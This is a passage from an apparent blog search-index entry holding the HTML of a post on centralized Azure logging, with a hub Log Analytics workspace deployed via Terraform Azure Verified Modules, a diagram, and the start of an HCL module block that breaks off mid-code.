orchestration.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/cross-job-communication-mastering-dependencies-output-variables/","title":"Cross-Job Communication: Mastering dependencies and Output Variables"},{"content":"\u003cp\u003eThe incident ticket lands on a Tuesday morning. Production degraded last Friday. You open the Azure portal, pull up the subscription\u0026rsquo;s Log Analytics Workspace, and realize the diagnostics on the App Gateway were never enabled. The VNet flow logs are going to a different workspace some application team created six months ago. The Key Vault audit logs aren\u0026rsquo;t going anywhere at all.\u003c/p\u003e\n\u003cp\u003eYou have logs. You just can\u0026rsquo;t see any of them from the same place at the same time.\u003c/p\u003e\n\u003cp\u003eThis is what \u0026ldquo;Siloed Observability\u0026rdquo; costs you in practice: a three-day gap between when something breaks and when you can reconstruct what happened. The fix is a \u003cstrong\u003eCentralized Logging Architecture\u003c/strong\u003e—all telemetry from every spoke subscription flowing into a single \u0026ldquo;Hub\u0026rdquo; workspace owned by the platform team, with Azure Policy making sure nothing slips through. This article covers how to deploy that hub using \u003cstrong\u003eAzure Verified Modules (AVM)\u003c/strong\u003e and wire up the self-healing baseline with Data Collection Rules (DCRs).\u003c/p\u003e\n\u003ch2 id=\"1-centralized-logging-architecture\"\u003e1. Centralized Logging Architecture\u003c/h2\u003e\n\u003cp\u003eThe core design principle is the \u003cstrong\u003eHub-and-Spoke Telemetry Flow\u003c/strong\u003e. While applications run in spokes, their diagnostic \u0026ldquo;signals\u0026rdquo; are streamed back to the management subscription.\u003c/p\u003e\n\u003ch3 id=\"centralized-logging-architecture\"\u003eCentralized Logging Architecture\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 616 265\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,16 L 384,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,32 L 376,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,32 L 408,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,96 L 216,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 384,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 208,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 224,160 L 384,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,240 L 384,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,16 L 48,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 48,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,96 L 216,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 216,144 L 216,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,16 L 384,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,160 L 384,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='224.000000,160.000000 212.000000,154.399994 212.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 216.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='304.000000,32.000000 292.000000,26.400000 292.000000,37.599998' fill='currentColor' transform='rotate(180.000000, 296.000000, 32.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='180' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003eK\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='212' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='212' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='52' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='84' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='36' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='52' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='36' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='52' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='52' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='52' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='52' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='52' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='52' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='36' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='36' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eThis centralization enables cross-subscription KQL queries, allowing you to answer questions like \u0026ldquo;Show me all failed login attempts across the entire production estate\u0026rdquo; in sub-second time.\u003c/p\u003e\n\u003ch2 id=\"2-deploying-the-hub-with-terraform-avm\"\u003e2. Deploying the Hub with Terraform AVM\u003c/h2\u003e\n\u003cp\u003eThe AVM module handles opinionated defaults for retention, tiering, and workspace settings so you\u0026rsquo;re not hand-rolling those decisions every time.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;log_analytics_workspace\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source  \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Azure/avm-res-operationalinsights-workspace/azurerm\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  version \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;~\u0026gt; 0.4\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  name                \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;law-prod-mgt-001\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 